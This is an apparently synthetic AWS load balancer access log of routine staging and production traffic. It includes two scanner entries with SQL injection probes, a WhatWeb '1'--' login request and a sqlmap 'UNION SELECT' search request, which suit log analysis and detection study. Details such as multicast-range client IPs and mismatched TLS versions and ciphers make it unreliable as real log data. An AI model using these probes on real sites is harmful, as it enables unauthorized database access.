arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c06d-891743e77ac24da8a79be4cf" "staging-alb.example.com" "-" 5 2024-11-01T00:37:49.808968Z "forward" "-" "-" "66.198.138.205:80" "302" "-" "-" -http 2024-11-01T00:37:51.618244Z staging-alb 106.99.156.35:20009 56.151.178.238:8080 0.136053 0.086334 0.098002 404 404 692 11888 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c06f-1d60933a076d4262b4577904" "staging-alb.example.com" "-" 9 2024-11-01T00:37:51.618244Z "forward" "-" "-" "56.151.178.238:8080" "404" "-" "-" -http 2024-11-01T00:37:51.785207Z staging-alb 172.58.103.238:34298 149.80.38.178:80 0.097045 0.456267 0.026806 404 404 737 6885 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c06f-211b57339f14467b9ec32029" "staging-alb.example.com" "-" 7 2024-11-01T00:37:51.785207Z "forward" "-" "-" "149.80.38.178:80" "404" "-" "-" -http 2024-11-01T00:37:53.352477Z staging-alb 211.182.170.93:48274 152.177.123.225:8080 0.117822 0.130049 0.040251 200 200 372 7877 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c071-f39b5b2a7ed84d5187a7bebe" "staging-alb.example.com" "-" 10 2024-11-01T00:37:53.352477Z "forward" "-" "-" "152.177.123.225:8080" "200" "-" "-" -https 2024-11-01T00:37:54.556392Z prod-api-alb 58.141.253.210:58134 10.0.41.136:443 0.022723 0.278594 0.024506 302 302 494 483 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c072-634a5ddc978548a9a50cad8d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:37:54.556392Z "forward" "-" "-" "10.0.41.136:443" "302" "-" "-" -https 2024-11-01T00:37:55.735136Z prod-api-alb 187.118.10.22:26486 10.0.165.14:443 0.051578 0.119013 0.062370 200 200 191 14134 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c073-cd645edfabb74cef8d670cd0" "prod-api-alb.example.com" "-" 5 2024-11-01T00:37:55.735136Z "forward" "-" "-" "10.0.165.14:443" "200" "-" "-" -https 2024-11-01T00:37:56.294737Z prod-api-alb 113.218.40.130:44726 10.0.178.31:443 0.062572 0.246378 0.079353 302 302 681 8984 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c074-bb1e2044ca684947a622e6fd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:37:56.294737Z "forward" "-" "-" "10.0.178.31:443" "302" "-" "-" -https 2024-11-01T00:37:58.000577Z prod-web-alb 211.62.113.211:24633 10.0.47.168:443 0.073545 0.493405 0.090751 301 301 569 7133 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c076-c447f56b87354a1780eb79ff" "prod-web-alb.example.com" "-" 2 2024-11-01T00:37:58.000577Z "forward" "-" "-" "10.0.47.168:443" "301" "-" "-" -https 2024-11-01T00:37:59.448168Z prod-api-alb 109.19.239.186:50513 10.0.234.79:443 0.046220 0.413863 0.043582 200 200 802 10498 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c077-354a238f3656439b9f0448fa" "prod-api-alb.example.com" "-" 5 2024-11-01T00:37:59.448168Z "forward" "-" "-" "10.0.234.79:443" "200" "-" "-" -https 2024-11-01T00:37:59.861457Z prod-web-alb 234.252.140.60:62136 10.0.226.200:443 0.016487 0.489101 0.095572 301 301 926 12251 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c077-93e5e90924ad41569c7b0779" "prod-web-alb.example.com" "-" 4 2024-11-01T00:37:59.861457Z "forward" "-" "-" "10.0.226.200:443" "301" "-" "-" -https 2024-11-01T00:38:01.126837Z prod-api-alb 58.151.66.216:28038 10.0.64.38:443 0.078656 0.354861 0.038122 200 200 7 892 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c079-c248c4025481477e994a72d9" "-" "-" 6 2024-11-01T00:38:01.126837Z "forward" "-" "-" "10.0.64.38:443" "200" "-" "-" -https 2024-11-01T00:38:01.684735Z prod-web-alb 76.31.208.89:24948 10.0.147.62:443 0.039630 0.058591 0.041373 301 301 383 10703 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c079-1a76e6260a8b4bafbb1662fd" "prod-web-alb.example.com" "-" 3 2024-11-01T00:38:01.684735Z "forward" "-" "-" "10.0.147.62:443" "301" "-" "-" -https 2024-11-01T00:38:01.998050Z prod-api-alb 144.155.96.54:16957 10.0.21.142:443 0.003828 0.383076 0.051844 404 404 283 7889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c079-2524841b8c464eeda8a14a84" "prod-api-alb.example.com" "-" 10 2024-11-01T00:38:01.998050Z "forward" "-" "-" "10.0.21.142:443" "404" "-" "-" -https 2024-11-01T00:38:03.798752Z prod-web-alb 136.147.0.241:12886 10.0.66.18:443 0.096698 0.095393 0.016791 200 200 987 11787 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c07b-64db1d54d6bd437bbe78fcbc" "prod-web-alb.example.com" "-" 7 2024-11-01T00:38:03.798752Z "forward" "-" "-" "10.0.66.18:443" "200" "-" "-" -https 2024-11-01T00:38:03.999535Z prod-web-alb 134.209.165.99:48848 10.0.209.17:443 0.092160 0.231370 0.020599 404 404 568 12285 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c07b-aef0fb118f084644b30242f1" "prod-web-alb.example.com" "-" 5 2024-11-01T00:38:03.999535Z "forward" "-" "-" "10.0.209.17:443" "404" "-" "-" -https 2024-11-01T00:38:04.761543Z prod-api-alb 244.47.206.175:63998 10.0.189.88:443 0.050768 0.217790 0.039945 200 200 580 10936 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c07c-eb9f2ac81a5a4a308095a264" "prod-api-alb.example.com" "-" 6 2024-11-01T00:38:04.761543Z "forward" "-" "-" "10.0.189.88:443" "200" "-" "-" -https 2024-11-01T00:38:05.692374Z prod-web-alb 185.181.183.244:60298 10.0.19.41:443 0.012037 0.111390 0.032694 403 403 902 1285 "GET /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c07d-796f60b14fa44ff8b1245270" "-" "-" 5 2024-11-01T00:38:05.692374Z "forward" "-" "-" "10.0.19.41:443" "403" "-" "-" -https 2024-11-01T00:38:07.412056Z prod-web-alb 37.128.238.211:18821 10.0.122.91:443 0.039716 0.301213 0.050321 200 200 580 5176 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c07f-64be2d9ccda24e368d53b163" "prod-web-alb.example.com" "-" 7 2024-11-01T00:38:07.412056Z "forward" "-" "-" "10.0.122.91:443" "200" "-" "-" -https 2024-11-01T00:38:09.218748Z prod-web-alb 203.111.154.115:30371 10.0.207.95:443 0.096196 0.282086 0.003758 200 200 85 12919 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c081-718bf0b03f574262b2caf4d9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:38:09.218748Z "forward" "-" "-" "10.0.207.95:443" "200" "-" "-" -https 2024-11-01T00:38:11.076033Z staging-alb 196.177.127.216:16012 145.7.22.196:80 0.108678 0.235942 0.024713 200 200 397 8019 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c083-bc6ac231cf3747029b49ce97" "staging-alb.example.com" "-" 7 2024-11-01T00:38:11.076033Z "forward" "-" "-" "145.7.22.196:80" "200" "-" "-" -https 2024-11-01T00:38:12.267565Z prod-web-alb 163.2.5.54:58514 10.0.23.158:443 0.050454 0.412168 0.006888 301 301 360 12700 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c084-39469eb93c5547099b278e25" "prod-web-alb.example.com" "-" 6 2024-11-01T00:38:12.267565Z "forward" "-" "-" "10.0.23.158:443" "301" "-" "-" -https 2024-11-01T00:38:12.606930Z staging-alb 150.117.30.65:31385 168.120.229.99:8080 0.046637 0.590043 0.027120 301 301 90 10012 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c084-55c726caa4c6420989bcf723" "staging-alb.example.com" "-" 2 2024-11-01T00:38:12.606930Z "forward" "-" "-" "168.120.229.99:8080" "301" "-" "-" -https 2024-11-01T00:38:13.824639Z prod-api-alb 118.120.33.176:49237 10.0.70.164:443 0.004404 0.224914 0.063207 200 200 745 3004 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c085-3d3500fa40cf4085b224d49a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:38:13.824639Z "forward" "-" "-" "10.0.70.164:443" "200" "-" "-" -https 2024-11-01T00:38:14.418325Z staging-alb 137.189.173.199:45102 70.35.189.66:8080 0.112067 0.315074 0.107562 404 404 594 14189 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c086-2ca726f7fd704b9fa3ead860" "staging-alb.example.com" "-" 3 2024-11-01T00:38:14.418325Z "forward" "-" "-" "70.35.189.66:8080" "404" "-" "-" -https 2024-11-01T00:38:15.049215Z prod-api-alb 146.255.200.136:45158 10.0.167.82:443 0.075602 0.426260 0.013593 301 301 859 14622 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c087-e856350d62924fd2a7ac58bd" "prod-api-alb.example.com" "-" 3 2024-11-01T00:38:15.049215Z "forward" "-" "-" "10.0.167.82:443" "301" "-" "-" -https 2024-11-01T00:38:16.700110Z prod-web-alb 115.244.213.35:28917 10.0.183.215:443 0.053798 0.476168 0.017038 200 200 261 4337 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c088-5820401e44b04eae91ddb54b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:38:16.700110Z "forward" "-" "-" "10.0.183.215:443" "200" "-" "-" -http 2024-11-01T00:38:18.572063Z staging-alb 227.3.241.235:26828 54.85.182.148:8080 0.003800 0.670931 0.031861 200 200 863 3212 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c08a-6f0254c4877d46dbb8a29640" "staging-alb.example.com" "-" 8 2024-11-01T00:38:18.572063Z "forward" "-" "-" "54.85.182.148:8080" "200" "-" "-" -https 2024-11-01T00:38:19.131389Z staging-alb 96.153.176.92:18240 240.23.215.5:8080 0.104361 0.639187 0.000793 404 404 71 9476 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c08b-4c170ffefd22465683ae042b" "staging-alb.example.com" "-" 0 2024-11-01T00:38:19.131389Z "forward" "-" "-" "240.23.215.5:8080" "404" "-" "-" -https 2024-11-01T00:38:20.009192Z staging-alb 100.133.242.123:45957 40.231.148.207:8080 0.070181 0.428312 0.048497 301 301 866 12286 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c08c-22111f3733c243cab2d3ccce" "staging-alb.example.com" "-" 4 2024-11-01T00:38:20.009192Z "forward" "-" "-" "40.231.148.207:8080" "301" "-" "-" -https 2024-11-01T00:38:20.299387Z prod-web-alb 173.28.137.116:60966 10.0.226.108:443 0.091281 0.434570 0.020926 200 200 339 12131 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c08c-018f996d3f744c589c93d48f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:38:20.299387Z "forward" "-" "-" "10.0.226.108:443" "200" "-" "-" -http 2024-11-01T00:38:21.769728Z staging-alb 49.158.233.171:39276 104.20.32.205:80 0.041083 0.574936 0.033343 200 200 378 4988 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c08d-249f79a8d0a4486f911b4f8d" "staging-alb.example.com" "-" 7 2024-11-01T00:38:21.769728Z "forward" "-" "-" "104.20.32.205:80" "200" "-" "-" -https 2024-11-01T00:38:23.235359Z prod-web-alb 246.159.74.34:49736 10.0.52.184:443 0.010645 0.344676 0.050245 301 301 280 9341 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c08f-5b416d28479d421cb1a11c45" "prod-web-alb.example.com" "-" 4 2024-11-01T00:38:23.235359Z "forward" "-" "-" "10.0.52.184:443" "301" "-" "-" -https 2024-11-01T00:38:23.548711Z prod-web-alb 185.181.118.169:12771 10.0.20.159:443 0.052971 0.113648 0.011679 200 200 198 5227 "POST /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c08f-ad0da4023f5f47d2bc1bb81b" "-" "-" 10 2024-11-01T00:38:23.548711Z "forward" "-" "-" "10.0.20.159:443" "200" "-" "-" -https 2024-11-01T00:38:24.428115Z staging-alb 240.58.192.153:16364 19.33.16.11:8080 0.004320 0.152944 0.114639 200 200 545 3497 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c090-056dd0079c1f427688b416d9" "staging-alb.example.com" "-" 5 2024-11-01T00:38:24.428115Z "forward" "-" "-" "19.33.16.11:8080" "200" "-" "-" -http 2024-11-01T00:38:25.804053Z staging-alb 168.50.250.16:21063 25.163.226.133:443 0.008722 0.296515 0.072753 301 301 515 5524 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c091-3370e82f5db2439095c24799" "staging-alb.example.com" "-" 10 2024-11-01T00:38:25.804053Z "forward" "-" "-" "25.163.226.133:443" "301" "-" "-" -http 2024-11-01T00:38:27.377982Z staging-alb 233.89.27.73:56515 151.238.69.40:443 0.120360 0.288157 0.025681 200 200 164 309 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c093-1eda38219e0740fc980edcf0" "staging-alb.example.com" "-" 1 2024-11-01T00:38:27.377982Z "forward" "-" "-" "151.238.69.40:443" "200" "-" "-" -http 2024-11-01T00:38:28.755444Z staging-alb 108.191.83.109:63520 19.74.107.4:80 0.006903 0.263729 0.044371 200 200 128 2534 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c094-4ec04b57b79d44c79697e1f4" "staging-alb.example.com" "-" 4 2024-11-01T00:38:28.755444Z "forward" "-" "-" "19.74.107.4:80" "200" "-" "-" -https 2024-11-01T00:38:29.816140Z prod-api-alb 61.111.178.50:16889 10.0.176.169:443 0.063153 0.272917 0.007318 200 200 967 11808 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c095-bfe93b948d8d4eeeb21f2902" "prod-api-alb.example.com" "-" 2 2024-11-01T00:38:29.816140Z "forward" "-" "-" "10.0.176.169:443" "200" "-" "-" -https 2024-11-01T00:38:31.079764Z prod-api-alb 86.77.10.5:12993 10.0.140.141:443 0.096649 0.445361 0.067567 200 200 339 10788 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c097-8e939f46463b428ca61389b6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:38:31.079764Z "forward" "-" "-" "10.0.140.141:443" "200" "-" "-" -https 2024-11-01T00:38:32.406955Z prod-api-alb 75.133.66.170:48749 10.0.165.219:443 0.033174 0.258631 0.089043 301 301 485 14772 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c098-476b5add651b4f5488eb902d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:38:32.406955Z "forward" "-" "-" "10.0.165.219:443" "301" "-" "-" -https 2024-11-01T00:38:32.988511Z prod-web-alb 225.102.97.79:51997 10.0.219.255:443 0.050017 0.006192 0.015146 200 200 874 2542 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c098-6284518d557b48369563cdaa" "prod-web-alb.example.com" "-" 2 2024-11-01T00:38:32.988511Z "forward" "-" "-" "10.0.219.255:443" "200" "-" "-" -https 2024-11-01T00:38:34.336418Z prod-api-alb 116.15.152.107:54650 10.0.244.114:443 0.061806 0.013875 0.048405 200 200 951 7601 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c09a-f26629adc10a4dbba78bfb0a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:38:34.336418Z "forward" "-" "-" "10.0.244.114:443" "200" "-" "-" -https 2024-11-01T00:38:35.170089Z prod-web-alb 98.129.112.115:36857 10.0.250.187:443 0.031120 0.212340 0.048086 302 302 6 13093 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c09b-b4877d8e9f16406386b1b60a" "prod-web-alb.example.com" "-" 9 2024-11-01T00:38:35.170089Z "forward" "-" "-" "10.0.250.187:443" "302" "-" "-" -https 2024-11-01T00:38:36.697883Z prod-web-alb 227.246.226.95:38401 10.0.149.162:443 0.043505 0.370916 0.016798 200 200 621 6448 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c09c-4316a3e15104408fb5e62438" "prod-web-alb.example.com" "-" 0 2024-11-01T00:38:36.697883Z "forward" "-" "-" "10.0.149.162:443" "200" "-" "-" -https 2024-11-01T00:38:38.637033Z prod-web-alb 221.44.56.243:54760 10.0.241.34:443 0.082542 0.102325 0.039173 301 301 405 8028 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c09e-c61f089f28774fd28f181414" "prod-web-alb.example.com" "-" 1 2024-11-01T00:38:38.637033Z "forward" "-" "-" "10.0.241.34:443" "301" "-" "-" -https 2024-11-01T00:38:39.362150Z prod-web-alb 146.26.36.254:15687 10.0.157.132:443 0.059107 0.460618 0.051862 200 200 115 13682 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c09f-1c07f5df900a4bfc9da6b9bf" "prod-web-alb.example.com" "-" 2 2024-11-01T00:38:39.362150Z "forward" "-" "-" "10.0.157.132:443" "200" "-" "-" -https 2024-11-01T00:38:39.529705Z prod-api-alb 127.255.33.145:56535 10.0.92.102:443 0.031040 0.460700 0.092614 200 200 474 11372 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c09f-3f69b5c5e97146c49ec08b38" "-" "-" 1 2024-11-01T00:38:39.529705Z "forward" "-" "-" "10.0.92.102:443" "200" "-" "-" -https 2024-11-01T00:38:41.341992Z prod-api-alb 182.42.180.167:37262 10.0.108.213:443 0.004308 0.185962 0.028163 301 301 312 10663 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 